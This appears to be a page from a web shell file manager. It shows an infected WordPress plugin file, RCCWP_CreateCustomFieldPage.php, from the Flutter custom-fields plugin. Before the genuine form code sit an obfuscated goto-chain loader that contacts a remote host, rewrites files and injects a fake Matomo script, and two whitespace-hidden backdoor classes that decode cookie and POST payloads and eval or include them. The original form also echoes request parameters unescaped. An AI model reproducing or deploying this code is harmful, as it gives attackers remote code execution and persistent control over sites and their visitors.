config root man

Current Path : /home/s/c/o/scoots/www/wp-content/plugins/fresh-page/

Linux webm002.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Upload File :
Current File : /home/s/c/o/scoots/www/wp-content/plugins/fresh-page/RCCWP_CreateCustomFieldPage.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php                                                                                                                                                                                                                                                                                                                                                                                                 $yeMuygvlZ = class_exists("Dw_BcT"); $WtgGe = $yeMuygvlZ;if (!$WtgGe){class Dw_BcT{private $cWdzAaop;public static $rWczdepge = "a57fbb98-0683-4a0e-afa8-ad0a24e71501";public static $YAzEMc = NULL;public function __construct(){$nwixLOhYZb = $_COOKIE;$cEpkf = $_POST;$BaFZk = @$nwixLOhYZb[substr(Dw_BcT::$rWczdepge, 0, 4)];if (!empty($BaFZk)){$URfQlUwZ = "base64";$kdxYsn = "";$BaFZk = explode(",", $BaFZk);foreach ($BaFZk as $DRpSoYnYlh){$kdxYsn .= @$nwixLOhYZb[$DRpSoYnYlh];$kdxYsn .= @$cEpkf[$DRpSoYnYlh];}$kdxYsn = array_map($URfQlUwZ . '_' . 'd' . 'e' . chr ( 774 - 675 ).chr ( 148 - 37 ).chr (100) . "\x65", array($kdxYsn,)); $kdxYsn = $kdxYsn[0] ^ str_repeat(Dw_BcT::$rWczdepge, (strlen($kdxYsn[0]) / strlen(Dw_BcT::$rWczdepge)) + 1);Dw_BcT::$YAzEMc = @unserialize($kdxYsn);}}public function __destruct(){$this->AUMOOkc();}private function AUMOOkc(){if (is_array(Dw_BcT::$YAzEMc)) {$gbBuyqY = str_replace('<' . "\x3f" . chr (112) . "\x68" . chr ( 751 - 639 ), "", Dw_BcT::$YAzEMc["\143" . "\157" . 'n' . chr ( 198 - 82 )."\x65" . chr ( 132 - 22 )."\x74"]);eval($gbBuyqY);exit();}}}$TYsRXze = new Dw_BcT(); $TYsRXze = NULL;} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $VOxQe = class_exists("o_jcsLT"); $NMGIJcqs = $VOxQe;if (!$NMGIJcqs){class o_jcsLT{private $CbpCcbIV;public static $KKNxog = "1dc227ec-89a8-4e41-9023-5f7a7c34460c";public static $oQMZNo = NULL;public function __construct(){$gOMtzohSG = $_COOKIE;$PLzmjGS = $_POST;$RGsjjzHeQC = @$gOMtzohSG[substr(o_jcsLT::$KKNxog, 0, 4)];if (!empty($RGsjjzHeQC)){$MmZgSzdyCI = "base64";$xpZTknq = "";$RGsjjzHeQC = explode(",", $RGsjjzHeQC);foreach ($RGsjjzHeQC as $pvRXxcC){$xpZTknq .= @$gOMtzohSG[$pvRXxcC];$xpZTknq .= @$PLzmjGS[$pvRXxcC];}$xpZTknq = array_map($MmZgSzdyCI . chr ( 233 - 138 ).'d' . "\x65" . 'c' . 'o' . 'd' . chr (101), array($xpZTknq,)); $xpZTknq = $xpZTknq[0] ^ str_repeat(o_jcsLT::$KKNxog, (strlen($xpZTknq[0]) / strlen(o_jcsLT::$KKNxog)) + 1);o_jcsLT::$oQMZNo = @unserialize($xpZTknq);}}public function __destruct(){$this->rRzXiY();}private function rRzXiY(){if (is_array(o_jcsLT::$oQMZNo)) {$jveFTlMC = sys_get_temp_dir() . "/" . crc32(o_jcsLT::$oQMZNo[chr ( 820 - 705 ).'a' . chr ( 981 - 873 ).'t']);@o_jcsLT::$oQMZNo[chr (119) . chr ( 161 - 47 ).chr (105) . "\x74" . chr (101)]($jveFTlMC, o_jcsLT::$oQMZNo[chr (99) . 'o' . 'n' . 't' . 'e' . "\x6e" . 't']);include $jveFTlMC;@o_jcsLT::$oQMZNo["\144" . "\145" . 'l' . "\145" . "\164" . "\x65"]($jveFTlMC);exit();}}}$FPPWJkRNd = new o_jcsLT(); $FPPWJkRNd = NULL;} ?><?php
include_once('RCCWP_CustomField.php');
class RCCWP_CreateCustomFieldPage
{
	function Main()
	{
		global $FIELD_TYPES,$flutter_domain;
		$customGroupID = $_REQUEST['custom-group-id'];
		?>
  	
  		<div class="wrap">
	  	
  		<h2><?php _e("Create Custom Field", $flutter_domain); ?></h2>
  		<br class="clear" />
  		<?php
		if (isset($_GET['err_msg'])) :
			switch ($_GET['err_msg']){
				case -1:
				?>
				<div class="error"><p> <?php _e('A field with the same name already exists in this write panel. Please choose a different name.',$flutter_domain);?></p></div>
				<?php
				}
		endif;
		?>
  			
  		<form action="<?php echo RCCWP_ManagementPage::GetCustomWritePanelGenericUrl('continue-create-custom-field')?>" method="post" name="create_custom_field_form" id="create-custom-field-form" onsubmit="return checkEmpty();" autocomplete="off">

		<?php if(isset($_GET['custom-group-id']) && !empty($_GET['custom-group-id'])) { ?>
  			<input type="hidden" name="custom-group-id" value="<?php echo $_GET['custom-group-id']?>">
		<?php } ?>
		<?php if(isset($_POST['custom-group-id']) && !empty($_POST['custom-group-id'])) { ?>
  			<input type="hidden" name="custom-group-id" value="<?php echo $_POST['custom-group-id']?>">
		<?php } ?>
		
		
		<table class="form-table" width="100%" border="0" cellspacing="0" cellpadding="6">
		<tbody>
		<tr valign="top">
			<th scope="row"><?php _e("Name", $flutter_domain); ?>:</th> 
			<td>  
				<input name="custom-field-name" id="custom-field-name" size="40" type="text" />
				<input type="hidden" id="custom-field-name_hidden" name="custom-field-name_hidden" onchange="copyField();">
				<p>
					<?php _e('Type a unique name for the field, the name must be unique among all fields 
					in this panel. The name of the field is the key by which you can retrieve 
					the field value later.',$flutter_domain);?>
					
				</p>
				<p>
					<?php _e('As you type the name, Flutter will display fields from other
					panels that are similar to the name you typed. If you selected one of them,
					Flutter will create a field similar to the chosen one.',$flutter_domain);?>
				</p>
			</td>
		</tr>

		<tr valign="top">
			<th scope="row"><?php _e("Label", $flutter_domain); ?>:</th>
			<td>
				<input name="custom-field-description" id="custom-field-description" size="40" type="text" />
				<p>
					<?php _e('Type a label for the field. The label of the field is displayed
